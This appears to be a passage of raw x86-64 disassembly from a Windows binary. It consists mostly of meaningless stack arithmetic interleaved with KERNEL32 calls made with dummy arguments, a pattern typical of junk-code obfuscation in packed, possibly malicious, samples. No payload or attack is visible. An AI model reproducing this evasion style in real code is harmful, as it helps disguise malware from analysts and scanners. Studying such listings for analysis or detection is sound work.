mov rcx, qword [rsp + 0x19e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcc70], eax
mov eax, dword [rsp + 0xc194]
mov dword [rsp + 0xe27c], eax
mov rax, qword [rsp + 0x1b238]
mov ecx, dword [rsp + 0x9500]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a5b0]
mov dword [rcx], eax
lea rax, [rsp + 0x2644]
mov qword [0x1402bf298], rax
movzx eax, byte [rsp + 0x44f]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x1aaa8]
mov rcx, qword [rsp + 0x1ac88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x873c], eax
mov eax, dword [rsp + 0xbb68]
mov dword [rsp + 0xe280], eax
movsx eax, word [rsp + 0x3b3c]
movsx ecx, word [rsp + 0x2c08]
sub eax, ecx
mov word [rsp + 0x375c], ax
movsx eax, byte [0x1402bf644]
mov rcx, qword [rsp + 0x1aa98]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x682], al
lea rax, [rsp + 0x344c]
mov qword [rsp + 0x1b2f0], rax
movzx eax, byte [rsp + 0x8cf]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x73d], al
lea rax, [rsp + 0xe06c]
mov qword [rsp + 0x1b2f8], rax
mov eax, dword [rsp + 0xd7a8]
movzx ecx, al
mov eax, dword [rsp + 0xd4e4]
shl eax, cl
mov dword [0x1402ad914], eax
mov rax, qword [rsp + 0x1aad8]
mov ecx, dword [rsp + 0xcfc8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcd58], eax
mov rax, qword [rsp + 0x1a440]
mov ecx, dword [rsp + 0xe1e4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd34c], eax
mov eax, dword [rsp + 0xd704]
mov dword [rsp + 0xe284], eax
mov rax, qword [rsp + 0x1a5b8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402bf4d0]
imul eax, ecx
mov byte [rsp + 0x7c3], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e60]
add eax, ecx
mov word [rsp + 0x240c], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0x19780]
mov rcx, qword [rsp + 0x19cf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e50]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4f4], eax
lea rax, [rsp + 0x9734]
mov qword [rsp + 0x1b300], rax
mov eax, dword [rsp + 0xdc2c]
mov dword [0x1402bf294], eax
movzx eax, word [0x1402ad764]
movzx ecx, word [rsp + 0x3cf4]
sub eax, ecx
mov rcx, qword [rsp + 0x1a7b8]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6303
mov rcx, qword [rsp + 0x1a320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd304], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x4e2]
mov qword [rsp + 0x1b308], rax
movsx eax, word [rsp + 0x326c]
mov rcx, qword [rsp + 0x1a540]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3228], ax
mov rax, qword [0x1402bf4b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a078]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6ff], al
mov eax, dword [rsp + 0xd070]
mov dword [rsp + 0xe288], eax
mov rax, qword [rsp + 0x1add8]
mov rcx, qword [rsp + 0x1ae90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdc2c], eax
mov rax, qword [0x1402bf698]
movzx eax, byte [rax]
mov byte [rsp + 0x912], al
movzx eax, word [rsp + 0x3c00]
movzx ecx, word [rsp + 0x392c]
add eax, ecx
mov word [rsp + 0x3640], ax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19910]
mov qword [rsp + 0x1b310], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b310]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad9b0], eax
mov rax, qword [rsp + 0x1b178]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8e60]
sar eax, cl
mov dword [rsp + 0x9028], eax
mov rax, qword [rsp + 0x1af50]
mov rcx, qword [rsp + 0x19d70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xdf68], eax
mov rax, qword [rsp + 0x1a3a0]
mov ecx, dword [0x1402bf39c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa7a4], eax
movzx eax, word [rsp + 0x2ad4]
mov word [rsp + 0x3d04], ax
movzx eax, byte [rsp + 0x8f7]
mov rcx, qword [rsp + 0x1a568]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x905], al
mov rax, qword [0x1402bf5f0]
mov eax, dword [rax]
mov dword [rsp + 0xe28c], eax
mov eax, dword [rsp + 0xdc6c]
mov ecx, dword [rsp + 0xcfd0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1b158]
mov dword [rcx], eax
mov eax, dword [rsp + 0xe1dc]
mov ecx, dword [rsp + 0xd7d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xe198], eax
mov rax, qword [0x1402bf648]
mov rcx, qword [rsp + 0x1ab78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad64c], eax
mov rax, qword [rsp + 0x19c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb684]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8218], eax
movsx eax, word [rsp + 0x3cd4]
mov rcx, qword [rsp + 0x1b0c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3b64], ax
mov rax, qword [rsp + 0x19af8]
movzx eax, byte [rax]
mov byte [rsp + 0x913], al
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x38dc]
imul eax, ecx
mov word [rsp + 0x3bb0], ax
movzx eax, byte [rsp + 0x878]
mov rcx, qword [0x1402bf490]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc0], al
lea rax, [rsp + 0xa7a0]
mov qword [rsp + 0x1b318], rax
mov rax, qword [rsp + 0x1aa30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdde8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd434], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xce44], eax
movzx eax, byte [0x1402bf61e]
mov byte [rsp + 0x914], al
mov rax, qword [rsp + 0x1a848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3aa4]
add eax, ecx
mov word [0x1402ad978], ax
mov eax, dword [rsp + 0xdc08]
mov ecx, dword [rsp + 0xd6a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a0b8]
mov dword [rcx], eax
mov eax, dword [0x1402bf454]
mov dword [rsp + 0xe290], eax
mov eax, dword [rsp + 0xd548]
mov ecx, dword [rsp + 0xe0a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbe2c], eax
mov rax, qword [rsp + 0x1a368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd02c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb04], eax
movzx eax, word [0x1402bf2d4]
movzx ecx, word [rsp + 0x3908]
xor eax, ecx
mov word [rsp + 0x245c], ax
movzx eax, byte [rsp + 0x6ae]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x632], al
lea rax, [rsp + 0xcc18]
mov qword [rsp + 0x1b320], rax
mov eax, dword [rsp + 0xd960]
movzx ecx, al
mov eax, dword [rsp + 0xda30]
sar eax, cl
mov dword [rsp + 0xd6cc], eax
mov rax, qword [rsp + 0x1a280]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x786]
and eax, ecx
mov byte [0x1402accbf], al
movsx eax, word [rsp + 0x38e4]
movsx ecx, word [rsp + 0x231c]
add eax, ecx
mov word [rsp + 0x38a8], ax
mov rax, qword [rsp + 0x1aa20]
movzx eax, word [rax]
mov word [rsp + 0x3d08], ax
mov rax, qword [rsp + 0x1b140]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8ef]
sub eax, ecx
mov byte [rsp + 0x822], al
mov eax, dword [rsp + 0xd1a8]
mov dword [rsp + 0xe294], eax
mov rax, qword [rsp + 0x1a3a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe110]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcec8], eax
mov eax, dword [rsp + 0xa93c]
mov ecx, dword [rsp + 0xcf50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa280], eax
mov eax, dword [rsp + 0xd5a0]
mov ecx, dword [0x1402ad830]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x97e4], eax
mov eax, dword [rsp + 0xda2c]
mov ecx, dword [rsp + 0xd858]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xe0a4], eax
movzx eax, byte [rsp + 0x79d]
mov byte [rsp + 0x915], al
mov rax, qword [rsp + 0x1ad70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3714]
sub eax, ecx
mov word [0x1402ad9b4], ax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcefc], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xba74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdbac], eax
lea rax, [rsp + 0xce20]
mov qword [rsp + 0x1b328], rax
mov rax, qword [rsp + 0x1aca0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a440]
mov qword [rsp + 0x1b330], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b330]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd650], eax
mov rax, qword [0x1402bf6d0]
movzx eax, word [rax]
mov word [rsp + 0x3d0c], ax
mov rcx, qword [rsp + 0x1ae28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xdadc], eax
movzx eax, byte [rsp + 0x7d5]
movzx ecx, byte [rsp + 0x7f3]
cdq
idiv ecx
mov byte [rsp + 0x8aa], al
movsx eax, byte [rsp + 0x83b]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x258], al
movzx ecx, word [rsp + 0x39c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3d10], ax
mov rax, qword [0x1402bf470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3cd4], ax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xc478]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x1402bf480]
mov dword [rcx], eax
mov eax, dword [0x1402ad64c]
mov ecx, dword [rsp + 0xcfc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd124], eax
movzx eax, word [rsp + 0x39d4]
mov word [rsp + 0x3d14], ax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70e]
add eax, ecx
mov byte [rsp + 0x8b1], al
mov rax, qword [rsp + 0x1a6d8]
mov eax, dword [rax]
mov dword [rsp + 0xe298], eax
mov rax, qword [rsp + 0x1ad60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd958], eax
mov rax, qword [rsp + 0x19cc8]
mov rcx, qword [rsp + 0x19fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19988]
mov dword [rcx], eax
mov rax, qword [0x1402bf5a8]
mov ecx, dword [rsp + 0xd410]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb840], eax
mov rcx, qword [rsp + 0x1aef0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xe020], eax
mov rax, qword [rsp + 0x1a2b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7c2], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xdf20], eax
movzx eax, word [rsp + 0x39d4]
mov rcx, qword [0x1402bf330]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402bf65c], ax
mov eax, dword [rsp + 0xd484]
mov dword [rsp + 0xe29c], eax
mov rax, qword [rsp + 0x1a938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc010]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdf1c], eax
mov rax, qword [rsp + 0x19780]
mov rcx, qword [0x1402bf3e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a2c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov dword [rsp + 0xe2a0], eax
mov eax, dword [rsp + 0xb1f4]
mov rcx, qword [rsp + 0x19e98]
mov qword [rsp + 0x1b338], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b338]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcf7c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx eax, word [rsp + 0x3bac]
mov word [rsp + 0x3d18], ax
movsx eax, byte [0x1402acb9f]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x845], al
mov rax, qword [rsp + 0x1af40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3928]
or eax, ecx
mov word [rsp + 0x3438], ax
mov rax, qword [0x1402bf2e8]
movzx eax, byte [rax]
mov byte [0x1402bf290], al
lea rcx, str.JA0n6aF_Cv9_Qb.PnPTAB
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3d1c], ax
mov eax, dword [rsp + 0xbad0]
mov ecx, dword [rsp + 0xe0ec]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1b0f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb444]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb94], eax
movzx eax, byte [rsp + 0x4f3]
mov byte [rsp + 0x916], al
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x39ac], ax
mov eax, dword [rsp + 0x91d8]
mov dword [rsp + 0xe2a4], eax
mov rax, qword [rsp + 0x1b0f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xafa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd388], eax
mov rax, qword [rsp + 0x1af30]
mov ecx, dword [rsp + 0xdc9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc1ac], eax
mov rax, qword [rsp + 0x1b230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x843c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb14], eax
lea rax, [rsp + 0x3b9c]
mov qword [0x1402bf288], rax
movzx eax, byte [rsp + 0x806]
mov rcx, qword [rsp + 0x1a4e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x81e], al
mov eax, dword [rsp + 0xdf40]
mov dword [rsp + 0xe2a8], eax
mov eax, dword [rsp + 0xd748]
mov ecx, dword [rsp + 0xb70c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe234], eax
movsx eax, word [rsp + 0x3a60]
mov rcx, qword [rsp + 0x1b0c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2dd0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a520], rax
lea rax, [rsp + 0x53e]
mov qword [rsp + 0x1b340], rax
movzx eax, byte [rsp + 0x8cd]
mov rcx, qword [rsp + 0x1b308]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x892], al
mov rax, qword [rsp + 0x1b100]
movzx eax, word [rax]
mov word [rsp + 0x3d20], ax
mov rax, qword [rsp + 0x1a410]
mov ecx, dword [rsp + 0xded8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1ad60]
mov dword [rcx], eax
mov edx, 0x3ba
mov rcx, qword [rsp + 0x1b120]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xcf24], eax
mov eax, dword [rsp + 0x9e7c]
mov rcx, qword [0x1402bf5c0]
mov qword [rsp + 0x1b348], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b348]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad830], eax
mov eax, dword [rsp + 0xd894]
mov ecx, dword [rsp + 0xa934]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0b8], eax
mov rax, qword [rsp + 0x19e88]
mov ecx, dword [rsp + 0xd980]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8888], eax
mov eax, dword [rsp + 0xce54]
mov rcx, qword [rsp + 0x1a518]
mov qword [rsp + 0x1b350], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b350]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x1a050]
mov dword [rcx], eax
lea rax, [rsp + 0x21ec]
mov qword [rsp + 0x1b358], rax
movzx eax, byte [0x1402acbb3]
mov rcx, qword [rsp + 0x1a688]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x873], al
mov eax, dword [rsp + 0x8068]
mov dword [rsp + 0xe2ac], eax
mov rax, qword [rsp + 0x1ae20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd330]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6f8], eax
mov rax, qword [0x1402bf6c8]
mov rcx, qword [rsp + 0x19b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xde20], eax
mov rax, qword [rsp + 0x19cf0]
mov rcx, qword [rsp + 0x19bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad970], eax
mov rax, qword [rsp + 0x1b1e8]
movzx eax, byte [rax]
mov byte [rsp + 0x917], al
mov rax, qword [rsp + 0x1b358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a28]
sub eax, ecx
mov rcx, qword [rsp + 0x19858]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7b6]
movsx ecx, byte [rsp + 0x3e1]
add eax, ecx
mov byte [rsp + 0x482], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xde80], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x1b360], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x197e0], rax
movsx eax, word [rsp + 0x2ae4]
movsx ecx, word [0x1402bf61c]
add eax, ecx
mov word [rsp + 0x39b4], ax
mov rax, qword [rsp + 0x19f58]
mov ecx, dword [rsp + 0xc91c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd840], eax
lea rax, [rsp + 0xdd70]
mov qword [rsp + 0x1b368], rax
movzx eax, byte [rsp + 0x4ae]
movzx ecx, byte [rsp + 0x7f9]
sub eax, ecx
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x1ae88]
movzx eax, word [rax]
mov word [rsp + 0x3d24], ax
mov eax, dword [rsp + 0xcf78]
mov ecx, dword [rsp + 0x83e4]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad9b8], eax
mov eax, dword [rsp + 0xd410]
mov ecx, dword [0x1402bf300]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c58]
mov rcx, qword [rsp + 0x19b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x1a5c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1aca0]
mov eax, dword [rax]
mov dword [rsp + 0xe2b0], eax
mov rax, qword [0x1402bf698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a120]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3a2], al
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1ad70]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3394], ax
mov rax, qword [rsp + 0x19a18]
mov rcx, qword [rsp + 0x19a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xdeec], eax
mov eax, dword [rsp + 0xdaf8]
movzx ecx, al
mov eax, dword [rsp + 0xd6b4]
sar eax, cl
mov dword [rsp + 0xa4e4], eax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov dword [rsp + 0xe2b4], eax
lea rdx, [rsp + 0xcdec]
mov rcx, qword [rsp + 0x1a8a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xe194], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.HgoDpWk2qK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1b370], rax
mov eax, dword [rsp + 0xce40]
mov ecx, dword [rsp + 0xd2b4]
and ecx, eax
mov eax, ecx
mov dword [0x1402bf568], eax
mov rax, qword [rsp + 0x1a5b0]
mov rcx, qword [rsp + 0x1a1e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd8e4], eax
mov rax, qword [rsp + 0x19960]
movzx eax, word [rax]
mov word [rsp + 0x3d28], ax
mov rax, qword [rsp + 0x1afa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19ee0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1aba8]
mov byte [rcx], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov word [rsp + 0x3d2c], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1b008]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x8ee], al
mov eax, dword [rsp + 0xbe44]
mov ecx, dword [0x1402ad738]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd640], eax
mov eax, dword [rsp + 0xcd70]
mov ecx, dword [rsp + 0xe1b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ec0], eax
movzx eax, word [rsp + 0x38ec]
movzx ecx, word [rsp + 0x35e4]
add eax, ecx
mov word [rsp + 0x22d0], ax
mov rax, qword [rsp + 0x1a600]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402accca], al
mov eax, dword [rsp + 0xde28]
mov dword [rsp + 0xe2b8], eax
mov rax, qword [rsp + 0x1b220]
mov rcx, qword [rsp + 0x1a268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xe1a8], eax
mov rax, qword [rsp + 0x1a178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe290]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb418], eax
mov eax, dword [rsp + 0xcff0]
mov dword [rsp + 0xe2bc], eax
mov rax, qword [rsp + 0x1a6b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1b308]
mov byte [rcx], al
movzx eax, word [rsp + 0x34ac]
mov rcx, qword [rsp + 0x1af40]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x25a0], ax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd694]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xde74], eax
mov rax, qword [rsp + 0x1a580]
mov ecx, dword [rsp + 0x99ac]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd3d8], eax
mov rax, qword [rsp + 0x1a958]
movzx eax, byte [rax]
mov byte [0x1402bf284], al
lea rax, [rsp + 0x1848]
mov qword [rsp + 0x1b378], rax
movzx eax, byte [0x1402accbe]
movzx ecx, byte [rsp + 0x17e]
and eax, ecx
mov byte [rsp + 0x7bf], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd104], eax
lea rax, [rsp + 0x36f8]
mov qword [rsp + 0x1b380], rax
mov ecx, 0xc
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd06c], eax
mov rax, qword [rsp + 0x1aa50]
mov rcx, qword [rsp + 0x19db8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdae4], eax
mov eax, dword [rsp + 0xd408]
mov dword [rsp + 0xe2c0], eax
mov rax, qword [rsp + 0x19f10]
mov rcx, qword [rsp + 0x19888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd594], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdd74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8f4], eax
lea rcx, [rsp + 0x2d9b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xe2c4], eax
mov rax, qword [rsp + 0x1a518]
mov eax, dword [rax]
mov dword [rsp + 0xe2c8], eax
movzx eax, word [rsp + 0x3c68]
movzx ecx, word [rsp + 0x3880]
sub eax, ecx
mov word [rsp + 0x3c50], ax
movzx ecx, word [rsp + 0x39b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3d1c], ax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x41d]
imul eax, ecx
mov byte [0x1402bf6f0], al
mov rax, qword [rsp + 0x19ed0]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8d60], eax
mov rax, qword [rsp + 0x1acd8]
mov ecx, dword [rsp + 0xd1ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd95c], eax
mov rax, qword [rsp + 0x1a620]
mov ecx, dword [rsp + 0xad6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd21c], eax
lea rcx, [rsp + 0x2afa0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [rsp + 0xb2e4]
mov dword [rsp + 0xe2cc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x1a198]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a980]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x784], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1b388], rax
mov rax, qword [0x1402bf298]
movzx eax, word [rax]
mov word [rsp + 0x3d30], ax
mov rax, qword [rsp + 0x1a220]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5dc]
add eax, ecx
mov byte [rsp + 0x7b9], al
movsx eax, word [rsp + 0x3bc8]
movsx ecx, word [0x1402bf784]
xor eax, ecx
mov word [rsp + 0x1bf8], ax
mov rax, qword [rsp + 0x1a690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe13c]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad9bc], eax
lea rax, [rsp + 0xd69c]
mov qword [rsp + 0x1b390], rax
movzx eax, word [rsp + 0x3b90]
movzx ecx, word [rsp + 0x3838]
shl eax, cl
mov word [rsp + 0x1ac4], ax
mov rax, qword [rsp + 0x19fb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x89], al
mov rax, qword [rsp + 0x1a328]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x888c]
sar eax, cl
mov rcx, qword [rsp + 0x19e78]
mov dword [rcx], eax
mov edx, 0x60110d
mov rcx, qword [rsp + 0x19b68]
